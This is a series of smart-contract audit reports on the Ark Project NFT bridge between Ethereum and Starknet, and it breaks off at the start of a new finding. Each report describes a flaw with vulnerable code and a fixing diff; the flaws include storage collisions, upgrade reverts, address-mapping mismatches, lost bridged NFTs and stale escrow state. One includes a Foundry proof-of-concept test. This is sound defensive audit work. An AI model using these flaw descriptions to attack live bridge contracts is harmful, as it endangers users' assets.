1 | ## Title 2 | No Storage Gap for Upgradeable Contracts 3 | 4 | ## Vulnerability Details 5 | 6 | In upgradable contracts, there should be a storage location for variables to get added freely without causing any storage collision. In `Bridge.sol` we can see that the contract inherits from a lot of contracts each of them has its own variables. 7 | 8 | [Bridge.sol#L30](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Bridge.sol#L30) 9 | ```solidity 10 | contract Starklane is IStarklaneEvent, UUPSOwnableProxied, StarklaneState, StarklaneEscrow, StarklaneMessaging, CollectionManager { 11 | 12 | // Mapping (collectionAddress => bool) 13 | mapping(address => bool) _whiteList; 14 | address[] _collections; 15 | bool _enabled; 16 | bool _whiteListEnabled; 17 | ... 18 | } 19 | ``` 20 | 21 | If we checked `StarklaneState` for example we will find that it has its own variables. 22 | 23 | [State.sol#L13-L22](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/State.sol#L13-L22) 24 | ```solidity 25 | contract StarklaneState is Ownable { 26 | 27 | // StarknetCore. 28 | IStarknetMessaging _starknetCoreAddress; 29 | 30 | // Starklane L2 address for messaging. 31 | snaddress _starklaneL2Address; 32 | 33 | // Bridge L2 selector to deposit token from L1. 34 | felt252 _starklaneL2Selector; 35 | ... 36 | } 37 | ``` 38 | 39 | Since the idea of upgrading the contract is either adding features or fixing issues, there can be new variables added. So any addition of new variables in one of the child contracts that `Bridge` inherits from them, will result in storage collision and corruption of all the contract states. 40 | 41 | ## Impact 42 | Inability to add new features / fix issues to the contract, which will require adding variables to contracts That `Bridge` inherit from it. 43 | 44 | ## Tools Used 45 | Manual Review 46 | 47 | ## Recommendations 48 | Adding Storage Gap to All Contracts that the `Bridge` contract Directly inherits from them, this includes `UUPSOwnableProxied`, `StarklaneState`, `StarklaneEscrow`, `StarklaneMessaging`, and `CollectionManager`. 49 | 50 | ```solidity 51 | uint256[50] private __gap; 52 | ``` 53 | -------------------------------------------------------------------------------- /Initializer Pack/M-02.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | The upgrading process will revert when initializing with new Owner 3 | 4 | ## Vulnerability Details 5 | 6 | When upgrading `UUPS` upgradable contracts, the Proxy contract owner calls `upgradeToAndCall()` to change its implementation. And fire the initializing function of the new implementation in his context via delegate call. 7 | 8 | When doing this thing in `Bridge`, we can see that it takes these variables as the initializing inputs. 9 | 10 | ```solidity 11 | function initialize(bytes calldata data) public onlyInit { 12 | ( 13 | ❌️ address owner, 14 | IStarknetMessaging starknetCoreAddress, 15 | uint256 starklaneL2Address, 16 | uint256 starklaneL2Selector 17 | ) = abi.decode( 18 | data, 19 | (address, IStarknetMessaging, uint256, uint256) 20 | ); 21 | _enabled = false; 22 | _starknetCoreAddress = starknetCoreAddress; 23 | 24 | ❌️ _transferOwnership(owner); 25 | 26 | setStarklaneL2Address(starklaneL2Address); 27 | setStarklaneL2Selector(starklaneL2Selector); 28 | } 29 | ``` 30 | 31 | As we can see we are taking the owner address as an input when upgrading our Bridge contract to the new implementation, gives him the ownership of the contract, and then sets `StarklaneL2Address` and `Selector`, and this is the problem. 32 | 33 | The problem here is that when calling `setStarklaneL2Address` there is a modifier `onlyOwner`. 34 | 35 | [State.sol#L42-L49](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/State.sol#L42-L49) 36 | ```solidity 37 | function setStarklaneL2Address( 38 | uint256 l2Address 39 | ) 40 | public 41 | ❌️ onlyOwner 42 | { 43 | _starklaneL2Address = Cairo.snaddressWrap(l2Address); 44 | } 45 | ``` 46 | 47 | Since we are using `UUPS/ERC1967` upgradable proxy standard, we are calling `_authorizeUpgrade()`, to authorize the upgrading and we only let the owner to be able to upgrade in our contract (`Bridge`). So the `msg.sender` will be the owner of the contract. 48 | 49 | [UUPSProxied.sol#L31-L37](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/UUPSProxied.sol#L31-L37) 50 | ```solidity 51 | function _authorizeUpgrade( 52 | address 53 | ) 54 | internal 55 | override 56 | ❌️ onlyOwner 57 | { } 58 | ``` 59 | 60 | Since it is allowed to change the owner when upgrading the contract as we illustrated, the upgrading process will end up reverting because of `onlyOwner` check when calling `setStarklaneL2Address()` as the owner is not the `msg.sender` now. 61 | 62 | This will end up failing the upgrading process at the last check, which is not actual behavior. Leading to the failure of the upgradability process and the loss money paid as the Gas Cost for deploying. 63 | 64 | ## Impact 65 | - Failing of the upgradability process. 66 | - Lossing the gas cost paid for the upgrading process. 67 | 68 | ## Tools Used 69 | Manual review 70 | 71 | ## Recommendations 72 | Change the ownership in the last of the `Bridge::initialize()` function. 73 | 74 | ```diff 75 | diff --git a/apps/blockchain/ethereum/src/Bridge.sol b/apps/blockchain/ethereum/src/Bridge.sol 76 | index e62c7ce..3a68209 100644 77 | --- a/apps/blockchain/ethereum/src/Bridge.sol 78 | +++ b/apps/blockchain/ethereum/src/Bridge.sol 79 | @@ -59,10 +59,10 @@ contract Starklane is IStarklaneEvent, UUPSOwnableProxied, StarklaneState, Stark 80 | _enabled = false; 81 | _starknetCoreAddress = starknetCoreAddress; 82 | 83 | - _transferOwnership(owner); 84 | - 85 | setStarklaneL2Address(starklaneL2Address); 86 | setStarklaneL2Selector(starklaneL2Selector); 87 | + 88 | + _transferOwnership(owner); 89 | } 90 | ``` 91 | -------------------------------------------------------------------------------- /L1 -> L2 Pack/H-01.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | The Bridging Process will revert if the Collection is matched on the destination chain and not matched on the source chain 3 | 4 | ## Vulnerability Details 5 | When Bridging Collections `L1<->L2`, we are checking if that NFT collection has a pair on the destination chain or not. and if it has an address on the destination, then we use it instead of redeploying new one. 6 | 7 | [CollectionManager.sol#L111-L149](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/token/CollectionManager.sol#L111-L149) 8 | ```solidity 9 | function _verifyRequestAddresses(address collectionL1Req, snaddress collectionL2Req) ... { 10 | address l1Req = collectionL1Req; 11 | uint256 l2Req = snaddress.unwrap(collectionL2Req); 12 | address l1Mapping = _l2ToL1Addresses[collectionL2Req]; 13 | uint256 l2Mapping = snaddress.unwrap(_l1ToL2Addresses[l1Req]); 14 | 15 | // L2 address is present in the request and L1 address is not. 16 | if (l2Req > 0 && l1Req == address(0)) { 17 | if (l1Mapping == address(0)) { 18 | // It's the first token of the collection to be bridged. 19 | return address(0); 20 | } else { 21 | // It's not the first token of the collection to be bridged, 22 | // and the collection tokens were only bridged L2->L1. 23 | return l1Mapping; 24 | } 25 | } 26 | 27 | // L2 address is present, and L1 address too. 28 | if (l2Req > 0 && l1Req > address(0)) { 29 | if (l1Mapping != l1Req) { 30 | revert InvalidCollectionL1Address(); 31 | } else if (l2Mapping != l2Req) { 32 | revert InvalidCollectionL2Address(); 33 | } else { 34 | // All addresses match, we don't need to deploy anything. 35 | return l1Mapping; 36 | } 37 | } 38 | 39 | revert ErrorVerifyingAddressMapping(); 40 | } 41 | ``` 42 | 43 | This function (`_verifyRequestAddresses`) is called whenever we withdraw tokens, where if the request came from `L2` Bridge has a valid `collectionL1` address (l1Req), we are doing checks that the matching of addresses is the same on both chains. 44 | 45 | - `l2Req` is the NFT collection we withdrew from on `L2`, and it should be a valid NFT collection address 46 | - `l1Req` is the `l2_to_l1_addresses` on `L2` where if the collection has matching on `L2` it will use that address when bridging tokens from `L2` to `L1`. 47 | 48 | [bridge.cairo#L274](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L274) 49 | ```cairo 50 | let collection_l1 = self.l2_to_l1_addresses.read(collection_l2); 51 | ``` 52 | 53 | So if the NFT collection has an `L1<->L2` matching on `L2` we will do a check that ensures the NFT collection `L1` and `L2` addresses on `L2Bridge` are the same in `L1Bridge`. 54 | ```solidity 55 | if (l2Req > 0 && l1Req > address(0)) { 56 | if (l1Mapping != l1Req) { 57 | revert InvalidCollectionL1Address(); 58 | } else if (l2Mapping != l2Req) { 59 | revert InvalidCollectionL2Address(); 60 | } else { 61 | // All addresses match, we don't need to deploy anything. 62 | return l1Mapping; 63 | } 64 | } 65 | ``` 66 | 67 | The problem is that setting `l1<->l2` addresses on the `L2Bridge` doesn't mean that that value is always set on `L1Bridge`. 68 | 69 | We are only setting `l1<->l2` on the chain we are withdrawing from, so when bridging from `L1` to `L2`. `L2Bridge` will set the matching between collections but `L1` will not set that matching. So if we tried to withdraw from `L2` to `L1` the withdrawing will revert as it will compare a collection address with the address zero. 70 | 71 | ## Scenario 72 | - There is an NFT collection on `L1`, this collection has no matching on either `L1` or `L2` 73 | - UserA bridged tokens from that collections to `L2` 74 | - req.collectionL2 is `address(0)` as the is no `l1<->l2` matching on `L1Bridge` 75 | ```solidity 76 | function depositTokens( ... ) ... { 77 | ... 78 | req.collectionL2 = _l1ToL2Addresses[collectionL1]; 79 | ... 80 | } 81 | ``` 82 | - Starknet Sequencer called `withdraw_auto_from_l1` 83 | - calling `ensure_erc721_deployment` to check if the collection on `L1` has an address on `L2` or not 84 | ```cairo 85 | fn withdraw_auto_from_l1(...) { 86 | ... 87 | 88 | @> let collection_l2 = ensure_erc721_deployment(ref self, @req); 89 | ``` 90 | - Verify Collection address 91 | ```cairo 92 | fn ensure_erc721_deployment(ref self: ContractState, req: @Request) -> ContractAddress { 93 | 94 | let l1_req: EthAddress = *req.collection_l1; 95 | let l2_req: ContractAddress = *req.collection_l2; 96 | 97 | let collection_l2 = verify_collection_address( 98 | l1_req, 99 | l2_req, 100 | self.l2_to_l1_addresses.read(l2_req), 101 | self.l1_to_l2_addresses.read(l1_req), 102 | ); 103 | ``` 104 | 105 | - `l1_req` is the original NFT collection address on `L1`, `l2_req` is `address(0)` as we show when calling `L1Bridge::depositTokens()` and the other two parameters are also `address(0)` as there is no matching in `L2` 106 | - `verify_collection_address()` will return `address_zero` as `l2_req` is `address(0)` and there is no matching. 107 | ```cairo 108 | n verify_collection_address( 109 | l1_req: EthAddress, 110 | l2_req: ContractAddress, 111 | l1_bridge: EthAddress, 112 | l2_bridge: ContractAddress, 113 | ) -> ContractAddress { 114 | ... 115 | if l2_req.is_zero() { 116 | if l2_bridge.is_zero() { 117 | // It's the first token of the collection to be bridged. 118 | ❌️ return ContractAddressZeroable::zero(); 119 | } 120 | } else { ... } 121 | } 122 | ``` 123 | - Since the returned value is address zero, we will deploy a new address for that `L1` Collection on `L2`, and match it on `L2` 124 | ```cairo 125 | let l2_addr_from_deploy = deploy_erc721_bridgeable( ... ); 126 | 127 | self.l1_to_l2_addresses.write(l1_req, l2_addr_from_deploy); 128 | self.l2_to_l1_addresses.write(l2_addr_from_deploy, l1_req); 129 | ``` 130 | - Now `L2` has collection matched but `L1` has not. 131 | - UserA tried to Bridge Tokens from the same collection but this time from `L2` to `L1`. 132 | - Calling `L2Bridge::deposit_tokens()`, and `req.collection_l1` will be the original `L1` collection address that is matched to the `L2` collection address we deployed in the prev steps. 133 | ```cairo 134 | fn deposit_tokens( ... ) { 135 | ... 136 | let collection_l1 = self.l2_to_l1_addresses.read(collection_l2); 137 | ... 138 | } 139 | ``` 140 | - Starknet Sequencer accepted the message after verification. 141 | - UserA called `L1Bridge::withdrawTokens()`, and we will verify the request. 142 | ```solidity 143 | function withdrawTokens( ... ) ... { 144 | ... 145 | address collectionL1 = _verifyRequestAddresses(req.collectionL1, req.collectionL2); 146 | ... 147 | } 148 | ``` 149 | - `req.collectionL1` is the original NFT address on `L1` we got it as there is a matching on `L2` and `req.collectionL2` is the address we deployed on `L2` for that collection when we first bridge from `L1` to `L2`, so both values are set with values. 150 | - Inside `_verifyRequestAddresses`, `l1Req` and `l2Req` have correct values as illustrated in the prev step, so we will go on to the second if condition. 151 | ```solidity 152 | function _verifyRequestAddresses( 153 | address collectionL1Req, 154 | snaddress collectionL2Req 155 | ) 156 | internal 157 | view 158 | returns (address) 159 | { 160 | address l1Req = collectionL1Req; 161 | uint256 l2Req = snaddress.unwrap(collectionL2Req); 162 | address l1Mapping = _l2ToL1Addresses[collectionL2Req]; 163 | uint256 l2Mapping = snaddress.unwrap(_l1ToL2Addresses[l1Req]); 164 | 165 | // L2 address is present in the request and L1 address is not. 166 | if (l2Req > 0 && l1Req == address(0)) { ... } 167 | 168 | // L2 address is present, and L1 address too. 169 | @> if (l2Req > 0 && l1Req > address(0)) { 170 | if (l1Mapping != l1Req) { 171 | ❌️ revert InvalidCollectionL1Address(); 172 | } else if (l2Mapping != l2Req) { 173 | revert InvalidCollectionL2Address(); 174 | } else { 175 | // All addresses match, we don't need to deploy anything. 176 | return l1Mapping; 177 | } 178 | } 179 | 180 | revert ErrorVerifyingAddressMapping(); 181 | } 182 | ``` 183 | - Since there is no matching in `L1`, `l1Mapping` and `l2Mapping` are `address(0)`, and will go for the check `l1Mapping != l1Req`, which will be true, ending up withdrawing from `L1` getting reverted. 184 | 185 | ## Proof of Concept 186 | Add the following test function function in `apps/blockchain/ethereum/test/Bridge.t.sol`. 187 | 188 | ```solidity 189 | function test_auditor_collection_matching_one_chain() public { 190 | // alice deposit token 0 and 9 of collection erc721C1 to bridge 191 | test_depositTokenERC721(); 192 | 193 | // Build the request and compute it's "would be" message hash. 194 | felt252 header = Protocol.requestHeaderV1(CollectionType.ERC721, false, false); 195 | 196 | // Build Request on L2 197 | Request memory req = buildRequestDeploy(header, 9, bob); 198 | req.collectionL1 = address(erc721C1); 199 | uint256[] memory reqSerialized = Protocol.requestSerialize(req); 200 | bytes32 msgHash = computeMessageHashFromL2(reqSerialized); 201 | 202 | // The message must be simulated to come from starknet verifier contract 203 | // on L1 and pushed to starknet core. 204 | uint256[] memory hashes = new uint256[](1); 205 | hashes[0] = uint256(msgHash); 206 | IStarknetMessagingLocal(snCore).addMessageHashesFromL2(hashes); 207 | 208 | // Withdrawing tokens will revert as There is no matching on L1 209 | address collection = IStarklane(bridge).withdrawTokens(reqSerialized); 210 | } 211 | ``` 212 | 213 | In the cmd write the following command. 214 | 215 | ```shell 216 | forge test --mt test_auditor_collection_matching_one_chain -vv 217 | ``` 218 | 219 | > Output 220 | 221 | The function will revert with an error message `InvalidCollectionL1Address()` 222 | ```powershell 223 | Ran 1 test for test/Bridge.t.sol:BridgeTest 224 | [FAIL. Reason: InvalidCollectionL1Address()] test_auditor_collection_matching_one_chain() (gas: 648188) 225 | Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 5.71ms (1.77ms CPU time) 226 | ``` 227 | 228 | ## Impacts 229 | Lossing of NFTs Bridged from `L2` to `L1` 230 | 231 | ## Tools Used 232 | Manual Review + Foundry 233 | 234 | ## Recommendations 235 | Do not check the correct `l1<->l2` matching on `L1` and `L2` if the `L1` has no matching yet. 236 | 237 | ```diff 238 | diff --git a/apps/blockchain/ethereum/src/token/CollectionManager.sol b/apps/blockchain/ethereum/src/token/CollectionManager.sol 239 | index ec9429a..f790f70 100644 240 | --- a/apps/blockchain/ethereum/src/token/CollectionManager.sol 241 | +++ b/apps/blockchain/ethereum/src/token/CollectionManager.sol 242 | @@ -113,7 +113,6 @@ contract CollectionManager { 243 | snaddress collectionL2Req 244 | ) 245 | internal 246 | - view 247 | returns (address) 248 | { 249 | address l1Req = collectionL1Req; 250 | @@ -133,6 +132,13 @@ contract CollectionManager { 251 | } 252 | } 253 | 254 | + // L2 is present, L1 address too, and there is no mapping 255 | + if (l2Req > 0 && l1Req > address(0) && l1Mapping == address(0) && l2Mapping == 0) { 256 | + _l1ToL2Addresses[l1Req] = collectionL2Req; 257 | + _l2ToL1Addresses[collectionL2Req] = l1Req; 258 | + return l1Req; 259 | + } 260 | + 261 | // L2 address is present, and L1 address too. 262 | if (l2Req > 0 && l1Req > address(0)) { 263 | if (l1Mapping != l1Req) { 264 | ``` 265 | 266 | ## Existence of the issue on the Starknet Side 267 | We illustrated the issue when Bridging tokens from `L2` to `L1` and they have matchings on `L2` but not in `L1`, this issue existed also when Bridging from `L1` to `L2` when `L1` has a matching but `L2` has not. where the implementaion of the verification function is the same. 268 | 269 | [collection_manager.cairo#L170-L200](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/token/collection_manager.cairo#L170-L200) 270 | ```cairo 271 | fn verify_collection_address( ... ) -> ContractAddress { 272 | 273 | // L1 address must always be set as we receive the request from L1. 274 | if l1_req.is_zero() { 275 | panic!("L1 address cannot be 0"); 276 | } 277 | 278 | // L1 address is present in the request and L2 address is not. 279 | if l2_req.is_zero() { ... } else { 280 | // L1 address is present, and L2 address too. 281 | if l2_bridge != l2_req { 282 | ❌️ panic!("Invalid collection L2 address"); 283 | } 284 | 285 | if l1_bridge != l1_req { 286 | panic!("Invalid collection L1 address"); 287 | } 288 | } 289 | 290 | l2_bridge 291 | } 292 | ``` 293 | 294 | If `l1_req` and `l2_req` have values (there is a matching in `L1`) we will go for the `else` block, and since `l2_bridge` is `address_zero` (no matching on `L2`) withdrawing process will revert on `L2`. 295 | 296 | The scenario is the same as we illustrated but with replacing `L1` by `L2` and `L2` by `L1`. So to not repeat ourselves we mentioned it here briefly. 297 | 298 | To mitigate the issue on `L2` we will do the same as in `L1` where if there is no matching in `L2` but there is in `L1` we will just return the addresses. 299 | -------------------------------------------------------------------------------- /L1 -> L2 Pack/L-01.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | `L2Bridge` Deployes Collections before checking there type 3 | 4 | ## Vulnerability Details 5 | When Bridging tokens `L1->L2`, we are deploying a new address for that Bridged token NFT collection on `L1` on `L2` if it has no attacked address on `L2`. 6 | 7 | The problem is that in `L2Bridge::withdraw_auto_from_l1()` we are always deploying an `ERC721` address without checking the `ctype` first. 8 | 9 | [bridge.cairo#L141-L143](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L141-L143) 10 | ```cairo 11 | #[l1_handler] 12 | fn withdraw_auto_from_l1( ... ) { 13 | ... 14 | 15 | 1: let collection_l2 = ensure_erc721_deployment(ref self, @req); 16 | 17 | 2: let _ctype = collection_type_from_header(req.header); 18 | } 19 | ``` 20 | 21 | As we can see we deploy the collection address in the first as an `ERC721`, without checking this type either `ERC721` or `ERC1155`. 22 | 23 | Although this should not result in any problems unless data altered when Bridged in the current implementation, this is no the way the `L1Bridge` work when withdrawing. where we are checking for the ctype before we deploy new collections. 24 | 25 | [Bridge.sol#L181-L196](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Bridge.sol#L181-L196) 26 | ```solidity 27 | 1: CollectionType ctype = Protocol.collectionTypeFromHeader(header); 28 | 29 | if (collectionL1 == address(0x0)) { 30 | 2: if (ctype == CollectionType.ERC721) { 31 | collectionL1 = _deployERC721Bridgeable( ... ); 32 | // update whitelist if needed 33 | _whiteListCollection(collectionL1, true); 34 | } else { 35 | revert NotSupportedYetError(); 36 | } 37 | } 38 | ``` 39 | As we can see in `L1` Bridge, we are checking for the type, and if it is `ERC721` we are deploying an ERC721 collection, and if not we are reverting the tx. which is not the case in `L2` Bridge withdrawing which does not preventing Bridging `ERC1155` tokens to be Bridged. 40 | 41 | ## Tools Used 42 | Manual Review 43 | 44 | ## Recommendations 45 | Check that the ctype is `ERC721` before deploying, and if not revert the tx 46 | ```diff 47 | diff --git a/apps/blockchain/starknet/src/bridge.cairo b/apps/blockchain/starknet/src/bridge.cairo 48 | index 23cbf8a..95e909b 100644 49 | --- a/apps/blockchain/starknet/src/bridge.cairo 50 | +++ b/apps/blockchain/starknet/src/bridge.cairo 51 | @@ -138,9 +138,11 @@ mod bridge { 52 | // TODO: recompute HASH to ensure data are not altered. 53 | // TODO: Validate all fields the request (cf. FSM). 54 | 55 | + let _ctype = collection_type_from_header(req.header); 56 | + assert(_ctype == CollectionType::ERC721, 'Not Supported Collection Type') 57 | + 58 | let collection_l2 = ensure_erc721_deployment(ref self, @req); 59 | 60 | - let _ctype = collection_type_from_header(req.header); 61 | // TODO: check CollectionType to support ERC1155 + metadata. 62 | ``` 63 | 64 | -------------------------------------------------------------------------------- /L1 -> L2 Pack/M-01.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Bridged NFTs (L1 -> L2) will get lose forever if `L2Bridge::withdraw_auto_from_l1` reverted 3 | 4 | ## Vulnerability Details 5 | 6 | When Bridging NFTs from L1 to L2, Starknet sequencer is responsible for calling `withdraw_auto_from_l1` to complete the Bridging process. 7 | 8 | The problem is that unlike `L2 -> L1` case where the user himself is the one who withdraws his tokens, and in the case of reverting he can re-execute the tx again by giving correct values. The Sequencer will do that transaction `withdraw_auto_from_l1` only one time and if it gets reverted it will not process it again, nor we will be able to call `withdraw_auto_from_l1` again. 9 | 10 | The problem here is that we are depending on `100%` success of that transaction and we are not taking into considerations that it can revert. 11 | 12 | Once the sequencer accepts the tx and updated L1 state it calls `Starknet::processMessages()`, which resets that message hash into `0`, and by doing this we will not be able to cancel it via `Starknet::startL1ToL2MessageCancellation()`. 13 | 14 | > StarknetCore: 15 | [Output.sol#L151](https://github.com/starkware-libs/cairo-lang/blob/master/src/starkware/starknet/solidity/Output.sol#L151) 16 | ```solidity 17 | if (isL2ToL1) { ... } else { 18 | { 19 | bytes32 messageHash = keccak256( 20 | abi.encodePacked(programOutputSlice[offset:endOffset]) 21 | ); 22 | 23 | uint256 msgFeePlusOne = messages[messageHash]; 24 | require(msgFeePlusOne > 0, "INVALID_MESSAGE_TO_CONSUME"); 25 | totalMsgFees += msgFeePlusOne - 1; 26 | ❌️ messages[messageHash] = 0; 27 | } 28 | ... 29 | } 30 | ``` 31 | 32 | > StarknetCore: 33 | [StarknetMessaging.sol#L156](https://github.com/starkware-libs/cairo-lang/blob/master/src/starkware/starknet/solidity/StarknetMessaging.sol#L156) 34 | ```solidity 35 | function startL1ToL2MessageCancellation( ... ) external override returns (bytes32) { 36 | emit MessageToL2CancellationStarted(msg.sender, toAddress, selector, payload, nonce); 37 | bytes32 msgHash = getL1ToL2MsgHash(toAddress, selector, payload, nonce); 38 | uint256 msgFeePlusOne = l1ToL2Messages()[msgHash]; 39 | ❌️ require(msgFeePlusOne > 0, "NO_MESSAGE_TO_CANCEL"); 40 | l1ToL2MessageCancellations()[msgHash] = block.timestamp; 41 | return msgHash; 42 | } 43 | ``` 44 | 45 | Now we want to ask a question, can this transaction gets reverted?\ 46 | The answer is yes maybe, although it should work correctly but what we are doing is not easy. the function logic is complex we can deploy new Collections, Verify addresses, store whitelisting, etc... 47 | 48 | [bridge.cairo#L128-L133](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L128-L133) 49 | ```cairo 50 | fn withdraw_auto_from_l1( ... ) { 51 | 1: ensure_is_enabled(@self); 52 | 2: assert(self.bridge_l1_address.read().into() == from_address, 53 | 'Invalid L1 msg sender'); 54 | ... 55 | 3: let collection_l2 = ensure_erc721_deployment(ref self, @req); 56 | 57 | 4: let _ctype = collection_type_from_header(req.header); 58 | ... 59 | loop { 60 | ... 61 | 62 | let is_escrowed = !self.escrow.read((collection_l2, token_id)).is_zero(); 63 | 64 | if is_escrowed { 65 | 5: IERC721Dispatcher { contract_address: collection_l2 } 66 | .transfer_from(from, to, token_id); 67 | } else { 68 | if (req.uris.len() != 0) { 69 | let token_uri = req.uris[i]; 70 | 6.1: IERC721BridgeableDispatcher { contract_address: collection_l2 } 71 | .mint_from_bridge_uri(to, token_id, token_uri.clone()); 72 | } else { 73 | 6.2: IERC721BridgeableDispatcher { contract_address: collection_l2 } 74 | .mint_from_bridge(to, token_id); 75 | } 76 | } 77 | ... 78 | }; 79 | } 80 | ``` 81 | 82 | I grouped the possible things that will lead to reverting the tx. 83 | 84 | 1. **Bridge Should Be enabled**: Bridge should always be enabled, but `enabled` is reset to false either by the admin or when upgrading, so if the `L2Bridge` upgraded, or the admin disabled both of the Bridged, the on-fly tx that was executed on L1 and still in verification process on Starknet will get reverted. 85 | 2. **Bridge address should be correct**: this should not be a problem. 86 | 3. **Deploying the Collection if needed**: there are a lot of actions and verifications we are doing at this point 87 | 1. `verify_collection_address`: this function ensures the correct linking between NFT collection on L1/L2, this should always succeed in most of the cases but there may be some errors, or upgrading (as the Admins can change L1L2 mapping). 88 | 2. `deploy_erc721_bridgeable`: We are deploying new collections if needed, and we cannot guarantee that the deploying process will not revert. 89 | 4. **Collection type should be valid**: this should always success. 90 | 5. **transferring tokens if existed**: this is an important thing we want to take into consideration, transferring the NFT can revert because of different reasons, either NFT does not exist, the NFT collection implements a pausing mechanism, the receiver is not able to receive it, etc... 91 | 6. **Minting Bridged token**: this should always succeed under normal circumstances. 92 | 7. **The Sequencer tx itself can revert**: We need to keep in mind that the sequencer caps the gas to a certain value to protect himself from paying more gas than the amount paid in L1, and because `white_listing` an NFT collection tx cost increases with the increase of number of `whitelisted` collection (as we are iterating over all values and put it in the last), if in the verification time, some NFT collections created. this will increase the gas cost of the TX calculated by the sequencer and paid by the user, which can make the TX go OOG (as the sequencer caps the gas to the amount paid by the user), Which opens up the possibility of reverting because of OOG error in some situations. 93 | 94 | So we can conclude that the transaction can revert some reasons can lie under admin issues, others are likely impossible to occur, and others are possible to occur. The issue will result in a total loss of NFTs on L1 Bridge and there is no way ro recover them back. 95 | 96 | ## Proof of Concept 97 | - UserA Bridged some NFTs from L1 -> L2 98 | - Starknet Sequencer validated the transaction and tried to execute it on L2 99 | - The transaction reverted (because of one of the following reasons) 100 | - User NFTs lost forever 101 | 102 | ## Impact 103 | Permenant Loss of NFTs 104 | 105 | ## Recommendations 106 | The simple mitigation for this is to implement a function to transfer escrowed NFTs on L1 back to the user, this function should be authorized by the protocol. 107 | 108 | The other solution which is a decentralized one but is complex, is to implement a verification method for such a thing. Something in my mind is that we can store the Request hash in contract storage, and if this issue occurs, we compare the `Hash` with the `Hash` on `StarknetCore`. if it exists in our `storage` and its value is zero in `StarknetCore`, besides the tokens are still `escrowed`, we give them to the user. But implementing this thing should be handled carefully to not fall into more critical issues. 109 | 110 | -------------------------------------------------------------------------------- /L1 -> L2 Pack/M-02.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Escrowed NFTs are not burned when withdrawing them from `L2Bridge`. 3 | 4 | ## Vulnerability Details 5 | 6 | In `L1Bridge` when we are withdrawing NFTs, and these NFTs are held by the Bridge, we transfer them from the Bridge to the receiver, then we burn that NFT by setting escrow address to `zero`. 7 | 8 | [Escrow.sol#L76-L86](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Escrow.sol#L76-L86) 9 | ```solidity 10 | function _withdrawFromEscrow( ... ) ... { 11 | ... 12 | 13 | address from = address(this); 14 | 15 | if (collectionType == CollectionType.ERC721) { 16 | 1: IERC721(collection).safeTransferFrom(from, to, id); 17 | } else { 18 | // TODO: 19 | // Check here if the token supply is currently 0. 20 | IERC1155(collection).safeTransferFrom(from, to, id, 1, ""); 21 | } 22 | 23 | 2: _escrow[collection][id] = address(0x0); 24 | 25 | return true; 26 | } 27 | ``` 28 | 29 | But in `L2Bridge` escrowed NFT token is not burned when transferring, we are just transferring the NFT without resetting the escrow mapping to `address_zero`. 30 | 31 | [bridge.cairo#L157-L162](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L157-L162) 32 | ```cairo 33 | let is_escrowed = !self.escrow.read((collection_l2, token_id)).is_zero(); 34 | 35 | if is_escrowed { 36 | ❌️ IERC721Dispatcher { contract_address: collection_l2 } 37 | .transfer_from(from, to, token_id); 38 | // @audit NFT is not reset to zero?!! 39 | } else { ... } 40 | ``` 41 | 42 | So this will result in an NFT being escrowed by the `L2Bridge` (which is like being owned by him), But it is actually owned by another owner, which is the `ownerL2` that received the tokens when Bridging tokens from `L1` to `L2`. 43 | 44 | ## Proof of Concept 45 | - UserA Bridged an NFT token from `L2` to `L1` via `L2Bridge::deposit_tokens()`. 46 | - This NFT token is now escrowed by the `L2Bridge` and it holds it. 47 | - UserA received the NFT on `L1` by his `L1Address`. 48 | - Time passed, and this NFT is traded between addresses. 49 | - This NFT is now getting Bridged from `L1` to `L2` via `L1Bridge::depositTokens()` 50 | - This NFT token is now escrowed by the `L1Bridge` and it holds it. 51 | - This token is getting withdrawn from `L2Bridge`. 52 | - Token was transferred to the `ownerL2` but did not burn on `L2Bridge` (it is still escrowed). 53 | - NFT token is escrowed by `L2Bridge`, but it doesn't hold it. 54 | - NFT tokens is escrowed in both `L1Bridge` and `L2Bridge`. 55 | 56 | ## Impacts 57 | - Incorrect State modification, where the NFT tokens will still be escrowed by `L2Bridge` but it doesn't hold them. 58 | - The NFTs will be escrowed in both `L1Bridge` and `L2Bridge` which breaks NFTs bridging invariant, where the NFT will exist in both Bridged in the time it should only be on only one Bridge (should be escrowed one chain). 59 | 60 | ## Tools Used 61 | Manual Review 62 | 63 | ## Recommendations 64 | Burn the NFT by setting its escrow to `address_zero` in `L2Bridge`. 65 | 66 | ```diff 67 | diff --git a/apps/blockchain/starknet/src/bridge.cairo b/apps/blockchain/starknet/src/bridge.cairo 68 | index 23cbf8a..85ec4d9 100644 69 | --- a/apps/blockchain/starknet/src/bridge.cairo 70 | +++ b/apps/blockchain/starknet/src/bridge.cairo 71 | @@ -159,6 +159,7 @@ mod bridge { 72 | if is_escrowed { 73 | IERC721Dispatcher { contract_address: collection_l2 } 74 | .transfer_from(from, to, token_id); 75 | + self.escrow.write((collection_l2, token_id), starknet::contract_address_const::<0>()); 76 | } else { 77 | if (req.uris.len() != 0) { 78 | let token_uri = req.uris[i]; 79 | ``` 80 | -------------------------------------------------------------------------------- /L2 -> L1 Pack/H-01.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | `L2Bridge` is incompatible with ERC721 that returns `felt252` for strings 3 | 4 | ## Vulnerability Details 5 | When 